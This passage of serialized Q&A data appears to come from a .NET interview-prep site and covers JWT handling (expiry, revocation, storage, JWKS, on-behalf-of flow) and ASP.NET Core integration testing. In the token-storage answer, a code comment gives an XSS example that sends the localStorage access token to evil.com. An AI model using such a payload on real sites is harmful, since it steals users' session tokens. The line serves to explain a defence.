true`. On the\nclient, detect the 401 response and use the refresh token to get a new access token\nbefore retrying.\n\n```csharp\n\u002F\u002F Server — automatic expiry check via TokenValidationParameters:\nValidateLifetime = true,\nClockSkew        = TimeSpan.FromSeconds(30), \u002F\u002F 30s tolerance for server clock drift\n\n\u002F\u002F When a token is expired, the middleware returns 401 with:\n\u002F\u002F WWW-Authenticate: Bearer error=\"invalid_token\", error_description=\"The token is expired\"\n\n\u002F\u002F Server — JwtBearerEvents to customize the 401 response:\noptions.Events = new JwtBearerEvents\n{\n    OnChallenge = ctx =>\n    {\n        \u002F\u002F Suppress default redirect; return structured JSON:\n        ctx.HandleResponse();\n        ctx.Response.StatusCode  = 401;\n        ctx.Response.ContentType = \"application\u002Fjson\";\n        return ctx.Response.WriteAsJsonAsync(new\n        {\n            error   = \"token_expired\",\n            message = \"Access token has expired. Use the refresh token to get a new one.\",\n        });\n    },\n};\n\n\u002F\u002F How to check expiry before sending (avoids a round-trip):\nvar handler   = new JwtSecurityTokenHandler();\nvar jwtToken  = handler.ReadJwtToken(accessToken);\nvar expiresAt = jwtToken.ValidTo; \u002F\u002F UTC\nif (expiresAt \u003C DateTime.UtcNow.AddSeconds(30))\n{\n    \u002F\u002F Proactively refresh before the token expires:\n    accessToken = await _authClient.RefreshAsync(refreshToken);\n}\n```\n\n**Rule of thumb:** Add 30 seconds of clock skew on the server to absorb time\ndifferences between machines. On the client, refresh proactively 30 seconds before\nexpiry rather than waiting for a 401 — it avoids a failed request + retry round-trip.\n",{"id":1781,"difficulty":206,"q":1782,"a":1783},"jwt-revocation","JWTs are stateless — how do you revoke one before it expires?","Because JWTs are self-contained and the server keeps no state, revoking an individual\ntoken requires either a **blocklist** (server-side store) or shifting to short-lived\ntokens plus refresh token rotation.\n\n```csharp\n\u002F\u002F Approach 1 — server-side blocklist (sacrifices statelessness):\npublic class TokenBlocklist\n{\n    private readonly IDistributedCache _cache;\n\n    \u002F\u002F Add a token's JTI claim to the blocklist on logout\u002Frevoke:\n    public async Task RevokeAsync(string jti, DateTimeOffset expiry)\n    {\n        await _cache.SetStringAsync(\n            key:     $\"revoked:{jti}\",\n            value:   \"1\",\n            options: new DistributedCacheEntryOptions\n            {\n                AbsoluteExpiration = expiry, \u002F\u002F entry auto-expires when token would have anyway\n            });\n    }\n\n    public async Task\u003Cbool> IsRevokedAsync(string jti)\n        => await _cache.GetStringAsync($\"revoked:{jti}\") is not null;\n}\n\n\u002F\u002F Check blocklist in JwtBearerEvents:\noptions.Events = new JwtBearerEvents\n{\n    OnTokenValidated = async ctx =>\n    {\n        var jti      = ctx.Principal!.FindFirstValue(JwtRegisteredClaimNames.Jti);\n        var blocklist = ctx.HttpContext.RequestServices.GetRequiredService\u003CTokenBlocklist>();\n        if (jti is not null && await blocklist.IsRevokedAsync(jti))\n            ctx.Fail(\"Token has been revoked\");\n    },\n};\n\n\u002F\u002F Approach 2 — short-lived access tokens + refresh token rotation:\n\u002F\u002F Access token: 5–15 min (no need to revoke; just wait it out)\n\u002F\u002F On logout: revoke only the refresh token in the DB\n\u002F\u002F Stolen access token is usable for ≤ 15 min — acceptable for most applications\n\n\u002F\u002F Approach 3 — reference tokens (opaque):\n\u002F\u002F Issue an opaque token ID; validate against a DB on every request.\n\u002F\u002F Full revocation, but adds a DB lookup per request.\n```\n\n**Rule of thumb:** For most apps, short access tokens (≤ 15 min) + refresh token\nrevocation is the right balance. Implement a blocklist only if you need true immediate\nrevocation (e.g., after a compromised credential event).\n",{"id":1785,"difficulty":96,"q":1786,"a":1787},"jwt-storage","Where should JWTs be stored on the client, and what are the security trade-offs?","Client-side JWT storage has two main options: **`localStorage`\u002F`sessionStorage`** and\n**`HttpOnly` cookies**. Each has distinct security implications.\n\n```csharp\n\u002F\u002F Option 1 — localStorage \u002F sessionStorage (SPA default):\n\u002F\u002F Pros: simple, no CSRF risk, works across tabs (localStorage)\n\u002F\u002F Cons: readable by ANY JavaScript on the page → XSS attack steals the token\n\u002F\u002F \u003Cscript>fetch('https:\u002F\u002Fevil.com?t=' + localStorage.getItem('access_token'))\u003C\u002Fscript>\n\u002F\u002F If choosing this: implement strict Content-Security-Policy, validate all input\n\n\u002F\u002F Option 2 — HttpOnly cookie (backend sets the cookie):\n\u002F\u002F Return access\u002Frefresh tokens in HttpOnly, Secure, SameSite=Strict cookies:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user    = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken  = _tokenService.GenerateAccessToken(user);\n    var refreshToken = await _refreshStore.CreateAsync(user.Id);\n\n    \u002F\u002F HttpOnly — JS cannot read this cookie:\n    Response.Cookies.Append(\"access_token\", accessToken, new CookieOptions\n    {\n        HttpOnly  = true,\n        Secure    = true,         \u002F\u002F HTTPS only\n        SameSite  = SameSiteMode.Strict,\n        Expires   = DateTimeOffset.UtcNow.AddMinutes(15),\n    });\n    Response.Cookies.Append(\"refresh_token\", refreshToken, new CookieOptions\n    {\n        HttpOnly  = true,\n        Secure    = true,\n        SameSite  = SameSiteMode.Strict,\n        Expires   = DateTimeOffset.UtcNow.AddDays(30),\n        Path      = \"\u002Fapi\u002Fauth\u002Frefresh\", \u002F\u002F limit cookie scope to refresh endpoint\n    });\n\n    return Ok(new { message = \"Logged in\" });\n}\n\n\u002F\u002F Pros: immune to XSS token theft\n\u002F\u002F Cons: CSRF attack possible — mitigate with SameSite=Strict + CSRF tokens for mutations\n\u002F\u002F JWT bearer middleware can read from cookies:\noptions.Events = new JwtBearerEvents\n{\n    OnMessageReceived = ctx =>\n    {\n        ctx.Token = ctx.Request.Cookies[\"access_token\"];\n        return Task.CompletedTask;\n    },\n};\n```\n\n**Rule of thumb:** Store JWTs in `HttpOnly, Secure, SameSite=Strict` cookies to\ndefend against XSS. Use `localStorage` only if the app has strong CSP and you\naccept the XSS risk. Never store tokens in `sessionStorage` across multiple tabs.\n",{"id":1789,"difficulty":206,"q":1790,"a":1791},"jwks-endpoint","What is a JWKS endpoint and how does ASP.NET Core use it for token validation?","A **JSON Web Key Set (JWKS)** endpoint exposes the public keys of an identity provider\nas a JSON document. ASP.NET Core's JWT bearer handler fetches and caches these keys\nautomatically, so you don't need to ship the public key with your application.\n\n```csharp\n\u002F\u002F JWKS document served at \u002F.well-known\u002Fjwks.json:\n\u002F\u002F {\n\u002F\u002F   \"keys\": [\n\u002F\u002F     {\n\u002F\u002F       \"kty\": \"RSA\",\n\u002F\u002F       \"kid\": \"key-2024-01\",     \u002F\u002F key ID — matches the JWT header \"kid\"\n\u002F\u002F       \"n\":   \"\u003Cmodulus>\",\n\u002F\u002F       \"e\":   \"AQAB\",\n\u002F\u002F       \"alg\": \"RS256\",\n\u002F\u002F       \"use\": \"sig\"\n\u002F\u002F     }\n\u002F\u002F   ]\n\u002F\u002F }\n\n\u002F\u002F ASP.NET Core — configure via Authority (OIDC discovery document):\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        \u002F\u002F Handler fetches \u002F.well-known\u002Fopenid-configuration, then the jwks_uri from it:\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"api1\";\n        \u002F\u002F No need to configure IssuerSigningKey — fetched and cached automatically.\n        \u002F\u002F Keys are refreshed when a token arrives with an unknown \"kid\" claim.\n    });\n\n\u002F\u002F Manual JWKS — when you control the identity provider and serve keys directly:\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        options.TokenValidationParameters = new TokenValidationParameters\n        {\n            ValidateIssuerSigningKey = true,\n            \u002F\u002F The handler fetches and parses this JWKS endpoint:\n            IssuerSigningKeyResolver = (token, securityToken, kid, parameters) =>\n            {\n                \u002F\u002F Custom resolver — fetch keys from your own endpoint:\n                var client = new HttpClient();\n                var response = client.GetStringAsync(\"https:\u002F\u002Fauth.myapp.com\u002F.well-known\u002Fjwks.json\").Result;\n                var keys = new JsonWebKeySet(response);\n                return keys.GetSigningKeys();\n            },\n            ValidateIssuer   = true,\n            ValidIssuer      = \"https:\u002F\u002Fauth.myapp.com\",\n            ValidateAudience = true,\n            ValidAudience    = \"api1\",\n        };\n    });\n\n\u002F\u002F Key rotation — the \"kid\" header in each JWT tells the handler which key to use.\n\u002F\u002F When a new kid is seen, the handler re-fetches the JWKS to pick up the new key.\n```\n\n**Rule of thumb:** Prefer `Authority` over manual `IssuerSigningKey` when using a\nstandards-compliant identity provider (Auth0, Okta, Azure AD, Keycloak). The handler\nmanages key caching and rotation automatically, reducing operational overhead.\n",{"id":1793,"difficulty":96,"q":1794,"a":1795},"jwt-audience-multi","How do you validate a JWT against multiple valid audiences?","Set `ValidAudiences` (plural) in `TokenValidationParameters` to accept tokens that\ncarry any of the listed audience values. The token's `aud` claim must match at least\none entry.\n\n```csharp\n\u002F\u002F Single audience — most common, most secure:\noptions.TokenValidationParameters = new TokenValidationParameters\n{\n    ValidateAudience = true,\n    ValidAudience    = \"api1\",\n};\n\n\u002F\u002F Multiple valid audiences — accept tokens for api1 OR api2:\noptions.TokenValidationParameters = new TokenValidationParameters\n{\n    ValidateAudience = true,\n    ValidAudiences   = new[] { \"api1\", \"api2\", \"https:\u002F\u002Fmyapp.com\u002Fapi\" },\n    \u002F\u002F The token's aud claim (string or array) must contain at least one of these.\n};\n\n\u002F\u002F Note: the JWT spec allows aud to be a string or a JSON array:\n\u002F\u002F \"aud\": \"api1\"                    \u002F\u002F single audience\n\u002F\u002F \"aud\": [\"api1\", \"api2\"]          \u002F\u002F multiple — token is valid for both\n\u002F\u002F ASP.NET Core handles both forms automatically.\n\n\u002F\u002F Per-endpoint scheme with a different audience — use separate schemes:\nbuilder.Services\n    .AddAuthentication()\n    .AddJwtBearer(\"InternalApi\", options =>\n    {\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"internal-api\";\n    })\n    .AddJwtBearer(\"ExternalApi\", options =>\n    {\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"external-api\";\n    });\n\n\u002F\u002F Apply a specific scheme to an endpoint:\n[Authorize(AuthenticationSchemes = \"InternalApi\")]\n[HttpGet(\"internal\u002Freport\")]\npublic IActionResult InternalReport() => Ok();\n\n\u002F\u002F Warning: never set ValidateAudience = false in production —\n\u002F\u002F it allows tokens issued for any audience to access your API.\n```\n\n**Rule of thumb:** Keep the audience list as narrow as possible — ideally one value per\nAPI. If you need to accept tokens from multiple issuers or audiences, use separate\nnamed schemes with distinct configurations rather than widening a single scheme.\n",{"id":1797,"difficulty":206,"q":1798,"a":1799},"jwt-delegation-pattern","What is the on-behalf-of (OBO) flow and when do you use it in a microservices architecture?","The **On-Behalf-Of (OBO)** flow (OAuth 2.0 Token Exchange) lets a service exchange a\nuser's access token for a new token scoped to a downstream service — propagating the\nuser's identity through a chain of microservices without sharing the original token.\n\n```csharp\n\u002F\u002F Scenario: Client → Service A (receives token for aud=api-a)\n\u002F\u002F           Service A → Service B (needs token for aud=api-b, still as the user)\n\n\u002F\u002F Service A calls Azure AD OBO endpoint to exchange its token:\npublic class DownstreamTokenService\n{\n    private readonly IHttpClientFactory _httpFactory;\n    private readonly IConfiguration    _config;\n\n    public DownstreamTokenService(IHttpClientFactory http, IConfiguration config)\n    {\n        _httpFactory = http;\n        _config      = config;\n    }\n\n    public async Task\u003Cstring> GetTokenForServiceBAsync(string incomingAccessToken)\n    {\n        var client = _httpFactory.CreateClient();\n\n        \u002F\u002F OBO grant — exchange the incoming token for a downstream token:\n        var response = await client.PostAsync(\n            $\"https:\u002F\u002Flogin.microsoftonline.com\u002F{_config[\"AzureAd:TenantId\"]}\u002Foauth2\u002Fv2.0\u002Ftoken\",\n            new FormUrlEncodedContent(new Dictionary\u003Cstring, string>\n            {\n                [\"grant_type\"]            = \"urn:ietf:params:oauth:grant-type:jwt-bearer\",\n                [\"client_id\"]             = _config[\"AzureAd:ClientId\"]!,\n                [\"client_secret\"]         = _config[\"AzureAd:ClientSecret\"]!,\n                [\"assertion\"]             = incomingAccessToken, \u002F\u002F the token Service A received\n                [\"scope\"]                 = \"api:\u002F\u002Fservice-b\u002F.default\",\n                [\"requested_token_use\"]   = \"on_behalf_of\",\n            }));\n\n        var json = await response.Content.ReadFromJsonAsync\u003CJsonElement>();\n        return json.GetProperty(\"access_token\").GetString()!;\n    }\n}\n\n\u002F\u002F In Service A's controller — get the incoming token and exchange it:\n[HttpGet(\"aggregate\")]\n[Authorize]\npublic async Task\u003CIActionResult> Aggregate()\n{\n    \u002F\u002F Read the incoming Bearer token from the request header:\n    var incomingToken = Request.Headers.Authorization.ToString()[\"Bearer \".Length..];\n    var serviceBToken = await _downstreamTokenService.GetTokenForServiceBAsync(incomingToken);\n\n    \u002F\u002F Call Service B with the new token:\n    _httpClient.DefaultRequestHeaders.Authorization =\n        new AuthenticationHeaderValue(\"Bearer\", serviceBToken);\n    var result = await _httpClient.GetAsync(\"https:\u002F\u002Fservice-b\u002Fapi\u002Fdata\");\n    return Ok(await result.Content.ReadAsStringAsync());\n}\n```\n\n**Rule of thumb:** Use OBO when you need to propagate the end-user's identity through\nservice-to-service calls. If the downstream call does not need user context (it is a\nbackground\u002Fsystem call), use client credentials instead — OBO adds unnecessary token\nexchange overhead for system-to-system scenarios.\n",{"id":1801,"difficulty":96,"q":1802,"a":1803},"jwt-size-performance","How does JWT size affect performance and what can you do to keep tokens small?","Every HTTP request carries the JWT in the `Authorization` header. Large tokens increase\nheader size, add Base64 decoding overhead, and can exceed web server header limits.\nCommon causes are too many claims and verbose claim names.\n\n```csharp\n\u002F\u002F Problem — bloated token with long claim names and many values:\nvar claims = new[]\n{\n    new Claim(\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Fnameidentifier\", userId),\n    new Claim(\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Femailaddress\", email),\n    new Claim(\"http:\u002F\u002Fschemas.microsoft.com\u002Fws\u002F2008\u002F06\u002Fidentity\u002Fclaims\u002Frole\", \"Admin\"),\n    new Claim(\"http:\u002F\u002Fschemas.microsoft.com\u002Fws\u002F2008\u002F06\u002Fidentity\u002Fclaims\u002Frole\", \"Editor\"),\n    \u002F\u002F ... 20 more role claims ...\n    \u002F\u002F Result: token ~2 KB, repeated on every request\n};\n\n\u002F\u002F Better — short registered claim names (sub, email) + compact custom names:\nvar claims = new[]\n{\n    new Claim(JwtRegisteredClaimNames.Sub,   userId),   \u002F\u002F \"sub\"\n    new Claim(JwtRegisteredClaimNames.Email, email),    \u002F\u002F \"email\"\n    new Claim(\"roles\", \"Admin,Editor\"),                 \u002F\u002F one claim, comma-joined\n    \u002F\u002F Or embed only a role ID; resolve permissions server-side via cache\n};\n\n\u002F\u002F Clear the default long-name mapping so short names survive round-tripping:\nJwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear();\n\u002F\u002F Note: after clearing, read with the short name: User.FindFirstValue(\"sub\")\n\n\u002F\u002F For high-traffic APIs — omit non-essential claims from the access token:\n\u002F\u002F Put display name, preferences, etc. in the ID token (OIDC) — not the access token.\n\u002F\u002F Access token should carry only what authorization decisions need:\n\u002F\u002F sub, roles\u002Fpermissions, aud, exp — nothing more.\n\n\u002F\u002F When claims are unavoidably large — use reference tokens (opaque IDs):\n\u002F\u002F Issue a random opaque token; store claims server-side in a fast cache (Redis).\n\u002F\u002F Validate by looking up the token ID — one cache hit per request instead of large header.\n\u002F\u002F Trade-off: stateful, but headers stay tiny regardless of claim count.\n```\n\n**Rule of thumb:** Access tokens should carry only what is needed for authorization —\nsubject, audience, expiry, and roles or permissions. Target under 512 bytes. Move\nprofile data to the ID token or a \u002Fuserinfo endpoint, and use short registered claim names.\n",{"description":94},"JWT interview questions — token structure, bearer authentication, TokenValidationParameters, token generation, refresh rotation, and security vulnerabilities.","dotnet\u002Fsecurity\u002Fjwt-tokens","JWT Tokens","R8EHsAmMo7bcAbTLdtw4ScVX8bauVPjW5wmaATB1yAE",{"id":1810,"title":1811,"body":1812,"description":94,"difficulty":206,"extension":97,"framework":10,"frameworkSlug":8,"meta":1816,"navigation":99,"order":38,"path":1817,"questions":1818,"questionsCount":163,"related":164,"seo":1879,"seoDescription":1880,"stem":1881,"subtopic":1811,"topic":73,"topicSlug":74,"updated":168,"__hash__":1882},"qa\u002Fdotnet\u002Ftesting\u002Fintegration-testing.md","Integration Testing",{"type":91,"value":1813,"toc":1814},[],{"title":94,"searchDepth":29,"depth":29,"links":1815},[],{},"\u002Fdotnet\u002Ftesting\u002Fintegration-testing",[1819,1823,1827,1831,1835,1839,1843,1847,1851,1855,1859,1863,1867,1871,1875],{"id":1820,"difficulty":104,"q":1821,"a":1822},"integration-vs-unit","What is the difference between unit testing and integration testing in .NET?","**Unit tests** verify a single class in isolation with all dependencies mocked.\n**Integration tests** verify that multiple components work correctly together —\nincluding real databases, HTTP pipelines, and middleware.\n\n```csharp\n\u002F\u002F Unit test — PricingEngine in complete isolation:\n[Fact]\npublic void Calculate_AppliesDiscountCorrectly()\n{\n    var engine = new PricingEngine(); \u002F\u002F no dependencies\n    var result = engine.Calculate(100m, discountPct: 10);\n    Assert.Equal(90m, result);\n}\n\n\u002F\u002F Integration test — full HTTP pipeline with real EF Core (in-memory):\npublic class OrdersIntegrationTests : IClassFixture\u003CWebApplicationFactory\u003CProgram>>\n{\n    private readonly HttpClient _client;\n\n    public OrdersIntegrationTests(WebApplicationFactory\u003CProgram> factory)\n        => _client = factory.CreateClient();\n\n    [Fact]\n    public async Task PostOrder_ReturnsCreated_AndPersistsToDatabase()\n    {\n        var payload = new StringContent(\n            \"\"\"{\"sku\":\"X\",\"quantity\":2}\"\"\",\n            Encoding.UTF8, \"application\u002Fjson\");\n\n        var response = await _client.PostAsync(\"\u002Fapi\u002Forders\", payload);\n\n        Assert.Equal(HttpStatusCode.Created, response.StatusCode);\n        \u002F\u002F Verify via GET that it actually persisted:\n        var location = response.Headers.Location!;\n        var getResp  = await _client.GetAsync(location);\n        getResp.EnsureSuccessStatusCode();\n    }\n}\n```\n\nIntegration tests are slower and harder to parallelize than unit tests but catch\na different class of bugs: mismatched serialization, middleware ordering problems,\nEF Core mapping errors, and misconfigured DI.\n\n**Rule of thumb:** Test business logic with unit tests; test cross-layer concerns\n(HTTP → service → DB round-trips) with integration tests. Aim for many unit tests\nand a smaller number of high-value integration tests.\n",{"id":1824,"difficulty":96,"q":1825,"a":1826},"webapplicationfactory","What is WebApplicationFactory and how do you use it to test ASP.NET Core endpoints?","`WebApplicationFactory\u003CTProgram>` (from `Microsoft.AspNetCore.Mvc.Testing`)\nspins up an in-process test server that runs the real ASP.NET Core pipeline.\nTests call it through an `HttpClient` with no networking overhead.\n\n```csharp\n\u002F\u002F Install: dotnet add package Microsoft.AspNetCore.Mvc.Testing\n\n\u002F\u002F Minimal setup — use the app as-is:\npublic class BasicIntegrationTests : IClassFixture\u003CWebApplicationFactory\u003CProgram>>\n{\n    private readonly HttpClient _client;\n\n    public BasicIntegrationTests(WebApplicationFactory\u003CProgram> factory)\n        => _client = factory.CreateClient();\n\n    [Fact]\n    public async Task GetHealth_Returns200()\n    {\n        var response = await _client.GetAsync(\"\u002Fhealth\");\n        response.EnsureSuccessStatusCode();\n    }\n}\n\n\u002F\u002F Custom factory — override configuration or swap services:\npublic class CustomWebFactory : WebApplicationFactory\u003CProgram>\n{\n    protected override void ConfigureWebHost(IWebHostBuilder builder)\n    {\n        builder.ConfigureServices(services =>\n        {\n            \u002F\u002F Replace the real DbContext with an in-memory one:\n            var descriptor = services.SingleOrDefault(\n                d => d.ServiceType == typeof(DbContextOptions\u003CAppDbContext>));\n            if (descriptor != null)\n                services.Remove(descriptor);\n\n            services.AddDbContext\u003CAppDbContext>(opts =>\n                opts.UseInMemoryDatabase(\"TestDb-\" + Guid.NewGuid()));\n\n            \u002F\u002F Swap a real external service with a fake:\n            services.AddSingleton\u003CIEmailSender, FakeEmailSender>();\n        });\n\n        builder.UseEnvironment(\"Testing\");\n    }\n}\n\n\u002F\u002F Use the custom factory:\npublic class OrderTests : IClassFixture\u003CCustomWebFactory>\n{\n    private readonly HttpClient _client;\n    public OrderTests(CustomWebFactory factory) => _client = factory.CreateClient();\n}\n```\n\n**Rule of thumb:** Use `IClassFixture\u003CWebApplicationFactory\u003CProgram>>` for\nread-only tests (the factory is shared). When tests write data, use a unique\nin-memory database per class to prevent interference between test runs.\n",{"id":1828,"difficulty":96,"q":1829,"a":1830},"inmemory-vs-sqlite-testing","Should you use the EF Core in-memory provider or SQLite for integration tests?","The **in-memory provider** is fast but doesn't enforce relational constraints\n(FK, unique indexes) and behaves differently from real SQL. **SQLite in-memory\nmode** runs real SQL and is fast enough for most test suites.\n\n```csharp\n\u002F\u002F Option 1: EF Core InMemory — fast, but no FK enforcement or raw SQL:\nservices.AddDbContext\u003CAppDbContext>(opts =>\n    opts.UseInMemoryDatabase(\"TestDb\"));\n\n\u002F\u002F Pitfall: this passes with InMemory but would fail in production:\n\u002F\u002F INSERT with a FK violation → InMemory silently succeeds\n\n\u002F\u002F Option 2: SQLite in-memory — real SQL, relational constraints enforced:\n\u002F\u002F dotnet add package Microsoft.EntityFrameworkCore.Sqlite\n\nservices.AddDbContext\u003CAppDbContext>(opts =>\n    opts.UseSqlite(\"Data Source=:memory:\"));\n\n\u002F\u002F SQLite in-memory databases are per-connection.\n\u002F\u002F Keep the connection open for the test's lifetime:\npublic class SqliteTestFixture : IDisposable\n{\n    public SqliteConnection Connection { get; }\n    public AppDbContext    Context    { get; }\n\n    public SqliteTestFixture()\n    {\n        Connection = new SqliteConnection(\"Data Source=:memory:\");\n        Connection.Open();\n\n        var opts = new DbContextOptionsBuilder\u003CAppDbContext>()\n            .UseSqlite(Connection)\n            .Options;\n\n        Context = new AppDbContext(opts);\n        Context.Database.EnsureCreated(); \u002F\u002F create schema\n    }\n\n    public void Dispose() { Context.Dispose(); Connection.Close(); }\n}\n\n\u002F\u002F Option 3: Respawn + real DB — reset a real database between tests (slowest):\n\u002F\u002F Respawn is a NuGet package that resets SQL Server\u002FPostgres state fast\n\u002F\u002F by deleting rows in dependency order without recreating the schema.\n```\n\n**Rule of thumb:** Use SQLite in-memory for most integration tests — it's fast\nand realistic. Reserve a real database (via Testcontainers or Respawn) for\ntests that exercise database-specific features (full-text search, JSON columns,\nstored procedures).\n",{"id":1832,"difficulty":96,"q":1833,"a":1834},"seeding-test-data","How do you seed test data for integration tests in .NET?","Test data should be created in the test itself (or a fixture) — never rely on\ndata already in the database from a previous test, as that creates order\ndependencies.\n\n```csharp\npublic class ProductTests : IClassFixture\u003CCustomWebFactory>, IAsyncLifetime\n{\n    private readonly HttpClient   _client;\n    private readonly AppDbContext _db;\n\n    public ProductTests(CustomWebFactory factory)\n    {\n        _client = factory.CreateClient();\n        \u002F\u002F Get a scoped DbContext from the test server's DI container:\n        var scope = factory.Services.CreateScope();\n        _db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n    }\n\n    public async Task InitializeAsync()\n    {\n        \u002F\u002F Seed deterministic test data before each test:\n        await _db.Database.EnsureCreatedAsync();\n        _db.Products.AddRange(\n            new Product { Id = 1, Name = \"Widget\",  Price = 9.99m },\n            new Product { Id = 2, Name = \"Gadget\",  Price = 24.99m }\n        );\n        await _db.SaveChangesAsync();\n    }\n\n    public async Task DisposeAsync()\n    {\n        \u002F\u002F Clean up so the next test class starts from a known state:\n        _db.Products.RemoveRange(_db.Products);\n        await _db.SaveChangesAsync();\n    }\n\n    [Fact]\n    public async Task GetProducts_ReturnsAllSeededProducts()\n    {\n        var response = await _client.GetAsync(\"\u002Fapi\u002Fproducts\");\n        response.EnsureSuccessStatusCode();\n        var products = await response.Content.ReadFromJsonAsync\u003CList\u003CProduct>>();\n        Assert.Equal(2, products!.Count);\n    }\n}\n```\n\nFor complex seeding, extract an `ObjectMother` or builder so test bodies stay\nfocused on the scenario, not the setup.\n\n**Rule of thumb:** Seed exactly the data each test needs, no more. Use unique\nIDs (or GUIDs) to avoid collisions between tests running in parallel.\n",{"id":1836,"difficulty":96,"q":1837,"a":1838},"testing-authenticated-endpoints","How do you test authenticated ASP.NET Core endpoints in integration tests?","Integration tests need a way to bypass or fake authentication. The standard\napproach is a custom `AuthenticationHandler` that grants a fixed test identity.\n\n```csharp\n\u002F\u002F Custom test auth handler:\npublic class TestAuthHandler : AuthenticationHandler\u003CAuthenticationSchemeOptions>\n{\n    public TestAuthHandler(\n        IOptionsMonitor\u003CAuthenticationSchemeOptions> options,\n        ILoggerFactory logger, UrlEncoder encoder)\n        : base(options, logger, encoder) { }\n\n    protected override Task\u003CAuthenticateResult> HandleAuthenticateAsync()\n    {\n        var claims = new[]\n        {\n            new Claim(ClaimTypes.Name, \"test-user\"),\n            new Claim(ClaimTypes.Role, \"Admin\"),\n            new Claim(\"sub\",           \"user-42\"),\n        };\n        var identity  = new ClaimsIdentity(claims, \"Test\");\n        var principal = new ClaimsPrincipal(identity);\n        var ticket    = new AuthenticationTicket(principal, \"Test\");\n\n        return Task.FromResult(AuthenticateResult.Success(ticket));\n    }\n}\n\n\u002F\u002F Register in the custom WebApplicationFactory:\nprotected override void ConfigureWebHost(IWebHostBuilder builder)\n{\n    builder.ConfigureServices(services =>\n    {\n        services.AddAuthentication(\"Test\")\n                .AddScheme\u003CAuthenticationSchemeOptions, TestAuthHandler>(\"Test\", _ => { });\n    });\n}\n\n\u002F\u002F Now all requests to _client are authenticated as \"test-user\" \u002F \"Admin\":\n[Fact]\npublic async Task AdminEndpoint_AuthenticatedUser_Returns200()\n{\n    var response = await _client.GetAsync(\"\u002Fapi\u002Fadmin\u002Fdashboard\");\n    Assert.Equal(HttpStatusCode.OK, response.StatusCode);\n}\n\n\u002F\u002F Test unauthorized access with a second client that has no auth:\nvar anonClient = _factory.CreateClient(\n    new WebApplicationFactoryClientOptions { AllowAutoRedirect = false });\n\u002F\u002F anonClient requests have no authentication header → 401\n```\n\n**Rule of thumb:** Create one factory for authenticated scenarios and configure\n`CreateClient()` per test when you need to vary the identity (different roles,\ndifferent claims) within the same test class.\n",{"id":1840,"difficulty":206,"q":1841,"a":1842},"testcontainers","What are Testcontainers and when should you use them for .NET integration tests?","**Testcontainers** (`Testcontainers` NuGet) starts real Docker containers\n(SQL Server, Postgres, Redis, etc.) during the test run and tears them down\nafter. This gives you production-equivalent database behavior without\nmaintaining a shared test instance.\n\n```csharp\n\u002F\u002F dotnet add package Testcontainers.MsSql\n\npublic class SqlServerIntegrationTests\n    : IAsyncLifetime, IClassFixture\u003CMsSqlContainer>\n{\n    private readonly MsSqlContainer _sqlContainer =\n        new MsSqlBuilder()\n            .WithImage(\"mcr.microsoft.com\u002Fmssql\u002Fserver:2022-latest\")\n            .WithPassword(\"Str0ng!Passw0rd\")\n            .Build();\n\n    private AppDbContext _db = default!;\n\n    public async Task InitializeAsync()\n    {\n        await _sqlContainer.StartAsync();\n\n        var opts = new DbContextOptionsBuilder\u003CAppDbContext>()\n            .UseSqlServer(_sqlContainer.GetConnectionString())\n            .Options;\n\n        _db = new AppDbContext(opts);\n        await _db.Database.MigrateAsync(); \u002F\u002F run real EF migrations\n    }\n\n    public async Task DisposeAsync()\n    {\n        await _db.DisposeAsync();\n        await _sqlContainer.DisposeAsync();\n    }\n\n    [Fact]\n    public async Task CreateOrder_PersistsAndRetrievesWithRealConstraints()\n    {\n        var order = new Order { Sku = \"X\", Quantity = 1, CustomerId = Guid.NewGuid() };\n        _db.Orders.Add(order);\n        await _db.SaveChangesAsync();\n\n        var retrieved = await _db.Orders.FindAsync(order.Id);\n        Assert.NotNull(retrieved);\n        Assert.Equal(\"X\", retrieved.Sku);\n    }\n}\n```\n\nTestcontainers requires Docker to be running on the test host. They are slower\nthan in-memory alternatives (~5-15 s startup) but catch database-specific bugs\nthat in-memory databases miss.\n\n**Rule of thumb:** Use Testcontainers for tests that must exercise database-specific\nbehavior (triggers, JSON queries, full-text search, EF migrations). Use\nSQLite in-memory for fast feedback on CRUD logic.\n",{"id":1844,"difficulty":96,"q":1845,"a":1846},"testing-middleware","How do you write integration tests that target a specific middleware component?","Use `WebApplicationFactory` to build a minimal host that includes only the\nmiddleware under test, or use `TestServer` directly for fine-grained control.\n\n```csharp\n\u002F\u002F Testing a custom ExceptionHandlingMiddleware:\npublic class ExceptionMiddlewareTests\n{\n    [Fact]\n    public async Task Middleware_WhenDownstreamThrows_Returns500WithProblemDetails()\n    {\n        \u002F\u002F Build a minimal test host with only the middleware under test:\n        using var host = await new HostBuilder()\n            .ConfigureWebHost(webBuilder =>\n            {\n                webBuilder.UseTestServer();\n                webBuilder.Configure(app =>\n                {\n                    app.UseMiddleware\u003CExceptionHandlingMiddleware>();\n                    \u002F\u002F Next handler always throws:\n                    app.Run(_ => throw new InvalidOperationException(\"Boom!\"));\n                });\n            })\n            .StartAsync();\n\n        var client = host.GetTestClient();\n        var response = await client.GetAsync(\"\u002F\");\n\n        Assert.Equal(HttpStatusCode.InternalServerError, response.StatusCode);\n        var body = await response.Content.ReadAsStringAsync();\n        Assert.Contains(\"application\u002Fproblem+json\",\n            response.Content.Headers.ContentType!.MediaType);\n    }\n}\n\n\u002F\u002F Testing request\u002Fresponse transformation (e.g. a rate-limiting middleware):\n[Fact]\npublic async Task RateLimiter_After10Requests_Returns429()\n{\n    using var host = await new HostBuilder()\n        .ConfigureWebHost(w =>\n        {\n            w.UseTestServer();\n            w.Configure(app =>\n            {\n           